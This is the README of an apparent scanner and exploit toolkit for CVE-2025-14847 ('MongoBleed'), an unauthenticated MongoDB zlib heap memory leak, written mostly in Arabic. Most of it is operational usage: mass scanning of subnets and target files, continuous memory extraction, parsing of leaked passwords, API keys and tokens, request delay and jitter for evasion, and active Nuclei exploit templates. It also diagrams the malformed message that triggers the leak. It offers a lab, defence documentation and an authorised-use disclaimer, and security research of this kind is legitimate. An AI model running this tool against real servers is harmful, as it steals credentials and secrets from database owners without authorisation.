
CVE-2025-14847 (MongoBleed) أداة مسح واستغلال. تسرب ذاكرة كومة MongoDB غير المُوثَّقة عبر فك ضغط zlib. تتضمن الكشف، استخراج الذاكرة، تحليل بيانات الاعتماد، المسح عبر CIDR/دفعات، قوالب Nuclei، ومختبر CTF.
ماسح ضوئي وأداة استغلال لـ CVE-2025-14847
طقم أدوات أبحاث أمنية لـ MongoBleed -- تسرب ذاكرة غير موثّق وخطير في فك ضغط zlib في MongoDB يسمح للمهاجمين باستخراج بيانات حساسة من ذاكرة الكومة في الخادم دون مصادقة.
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬ ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│ ├┤ ├┤ ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit
# No external dependencies -- Python 3 standard library only
cd cli
# Detect if a target is vulnerable (default action)
python mongobleed.py -t localhost:27017
# Scan an entire subnet
python mongobleed.py -t 192.168.1.0/24
# Extract memory and parse for credentials
python mongobleed.py -t target:27017 -e --credentials
# Safe mode -- detection only, no exploitation
python mongobleed.py -t target:27017 -s
MongoBleed/
├── cli/ # أداة المسح والاستغلال من سطر الأوامر
│ ├── mongobleed.py # الأداة الرئيسية لسطر الأوامر
│ ├── requirements.txt # تبعيات بايثون (المكتبة القياسية فقط)
│ └── README.md # توثيق أداة سطر الأوامر
├── lab/ # بيئة مختبر تعتمد على Docker
│ ├── docker-compose.yml # إعداد المختبر متعدد الحاويات
│ ├── vulnerable/ # تكوينات MongoDB ضعيفة
│ ├── patched/ # MongoDB مصححة للمقارنة
│ ├── no-zlib/ # غير قابل للاستغلال (zlib معطل)
│ ├── monitoring/ # لوحة تحكم لتصور الهجوم
│ ├── warmup-heap.sh # ملء الكومة ببيانات حساسة
│ └── README.md # تعليمات إعداد المختبر
├── nuclei/ # قوالب مسح Nuclei
│ ├── CVE-2025-14847.yaml # قالب استغلال نشط
│ ├── CVE-2025-14847-safe.yaml # قالب كشف آمن
│ └── README.md # توثيق قوالب Nuclei
├── docs/ # توثيق تعليمي
│ ├── README.md # فهرس مسار التعلم
│ ├── 01-fundamentals.md # أساسيات MongoDB والذاكرة
│ ├── 02-vulnerability.md # تعمق في CVE-2025-14847
│ ├── 03-exploitation.md # استغلال عملي
│ ├── 04-detection.md # البحث والكشف
│ └── 05-defense.md # استراتيجيات التخفيف
└── README.md # هذا الملف
192.168.1.0/24، 10.0.0.0/16:27018)# فحص هدف واحد
python mongobleed.py -t localhost:27017
# فحص مع إخراج مفصل
python mongobleed.py -t localhost:27017 -v
# الوضع الآمن -- كشف فقط، لا يرسل حمولة استغلال أبدًا
python mongobleed.py -t localhost:27017 -s
# عرض معلومات الإصدار
python mongobleed.py -t localhost:27017 --version
# فحص شبكة فرعية /24
python mongobleed.py -t 192.168.1.0/24
# CIDR مع منفذ مخصص
python mongobleed.py -t 10.0.0.0/24:27018
# فحص من ملف أهداف (يتم توسيع نطاقات CIDR في الملف)
python mongobleed.py -T targets.txt -j 20 -o results.json
# يمكن أن يحتوي ملف الهدف على عناوين IP ومنافذ ونطاقات CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017
# استخراج الذاكرة (نطاق الإزاحة الافتراضي 20-8192)
python mongobleed.py -t target:27017 -e
# نطاق إزاحة مخصص
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500
# استخراج مستمر (اضغط Ctrl+C للإيقاف)
python mongobleed.py -t target:27017 --continuous
# فرض الاستخراج حتى لو كان فحص الإصدار غير حاسم
python mongobleed.py -t target:27017 -e --force
# تحليل الذاكرة المسربة لبيانات الاعتماد والأسرار
python mongobleed.py -t target:27017 -e --credentials
# تحليل للرموز بشكل خاص
python mongobleed.py -t target:27017 -e --tokens
# استخراج النصوص القابلة للطباعة
python mongobleed.py -t target:27017 -e --strings
# إخراج Hexdump
python mongobleed.py -t target:27017 -e --hexdump
# إضافة تأخير بين الطلبات (ميلي ثانية)
python mongobleed.py -t target:27017 -e --delay 500
# تشويش عشوائي على التأخير
python mongobleed.py -t target:27017 -e --delay 1000 --jitter
# كشف آمن فقط
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017
# كشف نشط
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017
# مسح أهداف متعددة
nuclei -t nuclei/ -l targets.txt
# تشغيل جميع الحاويات
cd lab && docker compose up -d
# الخدمات:
# - localhost:27017 MongoDB 4.4.29 (ضعيفة + zlib)
# - localhost:27018 MongoDB 6.0.26 (ضعيفة + zlib)
# - localhost:27019 MongoDB 8.0.16 (ضعيفة + zlib)
# - localhost:27020 MongoDB 8.0.17 (مصححة)
# - localhost:27021 MongoDB 8.0.16 (بدون zlib - غير قابلة للاستغلال)
# - localhost:8080 لوحة تحكم المراقبة
# تدفئة الكومة ببيانات حساسة قبل الاستغلال
./warmup-heap.sh 27017 50
# تشغيل الأداة ضد المختبر
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials
الهدف:
-t, --target TARGET الهدف: host:port أو نطاق CIDR (مثال 192.168.1.0/24)
-T, --targets FILE ملف يحتوي على قائمة الأهداف (يدعم CIDR في كل سطر)
الكشف:
--detect كشف ما إذا كان الهدف ضعيفًا (الإجراء الافتراضي)
--version عرض إصدار MongoDB
-s, --safe الوضع الآمن - كشف فقط، لا استغلال
الاستغلال:
-e, --extract استخراج الذاكرة عبر مسح الإزاحة
--min-offset N أقل إزاحة للفحص (الافتراضي: 20)
--max-offset N أكبر إزاحة للفحص (الافتراضي: 8192)
--continuous وضع الاستخراج المستمر
--force فرض الاستخراج حتى لو فشل فحص الإصدار
التحليل:
--credentials تحليل لبيانات الاعتماد
--tokens تحليل للرموز
--strings استخراج النصوص القابلة للطباعة
--hexdump عرض Hexdump
التهرب:
--delay MS تأخير بين الطلبات (ميلي ثانية)
--jitter تشويش عشوائي على التأخير
الإخراج:
-o, --output FILE ملف الإخراج (JSON)
-v, --verbose إخراج مفصل
-q, --quiet وضع هادئ
--json إخراج بتنسيق JSON
--no-color تعطيل الألوان
الاتصال:
--timeout SECS مهلة الاتصال (الافتراضي: 10)
-j, --threads N عدد الخيوط للمسح الدفعي (الافتراضي: 10)
يبحث الأداة في الذاكرة المستخرجة عن الأنماط التالية:
| النوع | مثال |
|---|---|
| password | password: value, passwd=value |
| secret | secret: value |
| api_key | api_key: sk_live_... |
| token | token: ... (16+ حرف) |
| bearer_token | Bearer eyJ... |
| jwt | eyJ... (Base64 JWT) |
| mongodb_uri | mongodb://user:pass@host |
| postgres_uri | postgresql://... |
| redis_uri | redis://... |
| stripe_key | sk_live_... |
| openai_key | sk-... (48+ حرف) |
| aws_access_key | AKIA... |
| github_token | ghp_... |
| slack_token | xoxb-..., xoxp-... |
| ctf_flag | FLAG{...} |
| العنصر | القيمة |
|---|---|
| CVE | CVE-2025-14847 |
| الاسم | MongoBleed |
| CWE | CWE-130 (معالجة غير صحيحة لمعامل الطول) |
| CVSS | 8.7 (عالي) |
| النوع | تسرب ذاكرة غير موثّق |
| تاريخ الإفصاح | 19 ديسمبر 2025 |
| تاريخ الاستغلال في البرية | 29 ديسمبر 2025 |
| الفرع | ضعيف | مصحح |
|---|---|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 - 4.4.29 | 4.4.30 |
| 4.2.x | جميع الإصدارات | انتهى الدعم - لا يوجد تصحيح |
| 4.0.x | جميع الإصدارات | انتهى الدعم - لا يوجد تصحيح |
| 3.6.x | جميع الإصدارات | انتهى الدعم - لا يوجد تصحيح |
يستغل MongoBleed ثغرة في فك ضغط رسائل zlib في MongoDB (message_compressor_zlib.cpp). يقوم الكود الضعيف بإرجاع حجم المخزن المؤقت المخصص بدلاً من الطول الفعلي بعد فك الضغط، مما يسمح للمهاجمين بقراءة ذاكرة كومة غير مهيأة.
1. الاتصال (لا حاجة للمصادقة)
↓
2. إرسال OP_COMPRESSED مشوه
┌──────────────────────────────────┐
│ originalOpcode: OP_MSG (2013) │
│ uncompressedSize: مبالغ فيه │ ← محفز الثغرة
│ compressorId: zlib (2) │
│ compressedMessage: [بيانات صغيرة]│
└──────────────────────────────────┘
↓
3. الخادم يخصص مخزناً كبيراً جداً
[ بيانات حقيقية صغيرة | ذاكرة كومة غير مهيأة ]
↓
4. محلل BSON يقرأ في القمامة
طول المستند المبالغ فيه يجعل المحلل يقرأ
خارج البيانات الفعلية إلى ذاكرة الكومة
↓
5. رسالة الخطأ تسرب الذاكرة
"invalid BSON field name 'password=secret123...'"
تم تقديم هذه الأدوات لأغراض الاختبارات الأمنية المصرح بها والبحث والتعليم فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني.
MIT License